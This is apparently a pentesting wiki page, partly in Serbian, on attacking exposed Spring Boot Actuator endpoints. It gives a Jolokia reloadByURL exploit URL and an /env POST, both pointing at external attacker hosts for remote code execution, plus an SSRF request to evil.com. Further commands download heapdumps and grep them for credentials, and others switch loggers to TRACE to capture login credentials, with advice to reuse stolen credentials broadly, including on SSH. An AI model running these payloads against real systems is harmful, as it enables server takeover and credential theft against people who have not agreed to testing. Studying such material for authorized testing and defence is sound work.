Spring Actuators

Reading time: 6 minutes

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Exploiting Spring Boot Actuators

Check the original post from [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Key Points:

• Spring Boot Actuators register endpoints such as /health, /trace, /beans, /env, etc. In versions 1 to 1.4, these endpoints are accessible without authentication. From version 1.5 onwards, only /health and /info are non-sensitive by default, but developers often disable this security.
• Certain Actuator endpoints can expose sensitive data or allow harmful actions:
• /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, and /heapdump.
• In Spring Boot 1.x, actuators are registered under the root URL, while in 2.x, they are under the /actuator/ base path.

Exploitation Techniques:

1. Remote Code Execution via '/jolokia':

• The /jolokia actuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans.
• The reloadByURL action can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations.
• Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.

2. Config Modification via '/env':

• If Spring Cloud Libraries are present, the /env endpoint allows modification of environmental properties.
• Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
• Example exploit POST request:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

3. Other Useful Settings:

• Properties like spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, and spring.datasource.tomcat.max-active can be manipulated for various exploits, such as SQL injection or altering database connection strings.

Additional Information:

• A comprehensive list of default actuators can be found here.
• The /env endpoint in Spring Boot 2.x uses JSON format for property modification, but the general concept remains the same.

Related Topics:

1. Env + H2 RCE:

• Details on exploiting the combination of /env endpoint and H2 database can be found here.

2. SSRF on Spring Boot Through Incorrect Pathname Interpretation:

• The Spring framework's handling of matrix parameters (;) in HTTP pathnames can be exploited for Server-Side Request Forgery (SSRF).
• Example exploit request:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Ispitivanje HeapDump-a za secrets (credentials, tokens, internal URLs)

Ako je /actuator/heapdump izložen, obično možete preuzeti kompletan JVM heap snapshot koji često sadrži live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, itd.).

• Preuzimanje i brza trijaža:

wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d

• Dublja analiza pomoću VisualVM i OQL:
• Otvorite heapdump u VisualVM, pregledajte instance java.lang.String ili pokrenite OQL da biste tražili secrets:

select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())

• Automatizovano izvlačenje pomoću JDumpSpider:

java -jar JDumpSpider-*.jar heapdump

Tipični visokovredni nalazi:

• Spring DataSourceProperties / HikariDataSource objekti koji otkrivaju url, username, password.
• OriginTrackedMapPropertySource entiteti koji otkrivaju management.endpoints.web.exposure.include, portove servisa i ugrađeni Basic-Auth u URL-ovima (npr. Eureka defaultZone).
• Fragmente plain HTTP request/response koji uključuju Authorization: Basic ... uhvaćene u memoriji.

Saveti:

• Koristite wordlist fokusiran na Spring da brzo otkrijete actuator endpoint-e (npr. SecLists spring-boot.txt) i uvek proverite da li su /actuator/logfile, /actuator/httpexchanges, /actuator/env, i /actuator/configprops takođe izloženi.
• Credentials iz heapdump-a često rade za susedne servise i ponekad za system users (SSH), pa ih probajte široko.

Zloupotreba Actuator loggers/logging za hvatanje credentials

Ako management.endpoints.web.exposure.include to dozvoljava i /actuator/loggers je izložen, možete dinamički povećati nivoe logovanja na DEBUG/TRACE za pakete koji obrađuju authentication i request processing. U kombinaciji sa čitljivim logovima (putem /actuator/logfile ili poznatih putanja), ovo može leak credentials koji su poslati tokom login flow-ova (npr. Basic-Auth headers ili form parameters).

• Enumerišite i pojačajte osetljive loggere:

# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'

• Pronađite gde se logovi pišu i sakupljajte:

# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'

• Pokrenite login/authentication traffic i parsirajte log za creds. U microservice okruženjima sa gateway-jem ispred auth, omogućavanje TRACE za gateway/security pakete često čini headers i form bodies vidljivim. Neka okruženja čak generišu sintetički login traffic periodično, što čini sakupljanje trivialnim kada je logovanje verbose.

Napomene:

• Resetujte nivoe logovanja kada završite: POST /actuator/loggers/<logger> sa { "configuredLevel": null }.
• Ako je /actuator/httpexchanges izložen, on takođe može izbaciti recent request metadata koji može uključivati sensitive headers.

References

• Exploring Spring Boot Actuator Misconfigurations (Wiz)
• VisualVM
• JDumpSpider
• 0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)